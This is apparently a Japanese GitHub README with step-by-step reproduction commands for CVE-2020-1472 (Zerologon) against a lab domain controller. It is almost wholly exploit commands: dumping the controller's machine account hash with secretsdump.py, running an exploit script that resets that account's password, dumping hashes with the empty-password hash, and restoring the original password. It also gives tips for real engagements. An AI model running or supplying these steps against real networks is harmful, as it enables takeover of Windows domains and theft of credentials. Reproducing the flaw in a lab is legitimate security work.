naxg/cve-2020-1472CVE-2020-1472再現手順
再現してみたところ、少しバグがあり、再起動後にログインページでしばらく止まってしまいます。自分だけかどうかは分かりません。（実環境での利用は慎重に） 実戦では、secretsdump.py の -use-vss と -history を使用して履歴ハッシュを取得し、復元することができます。
ステップ1
pip3 install -r requirements.txt
ハッシュを確認
secretsdump.py molecule-labs.com/administrator:[email protected] -just-dc-user 'AD$'
攻撃
python3 CVE-2020-1472.py AD AD$ 192.168.175.132
ドメインコントローラーのハッシュを確認
secretsdump.py molecule-labs.com/'AD$'@192.168.175.132 -just-dc-user 'AD$' -hashes :31d6cfe0d16ae931b73c59d7e0c089c0
ハッシュを復元
python3 reinstall_original_pw.py AD 192.168.175.132 061e8e521872fa93a2f8d89ca0683145
復元後のハッシュを確認
secretsdump.py molecule-labs.com/administrator:[email protected] -just-dc-user 'AD$'
スクリプトの出典 https://github.com/blackarrowsec/redteam-research
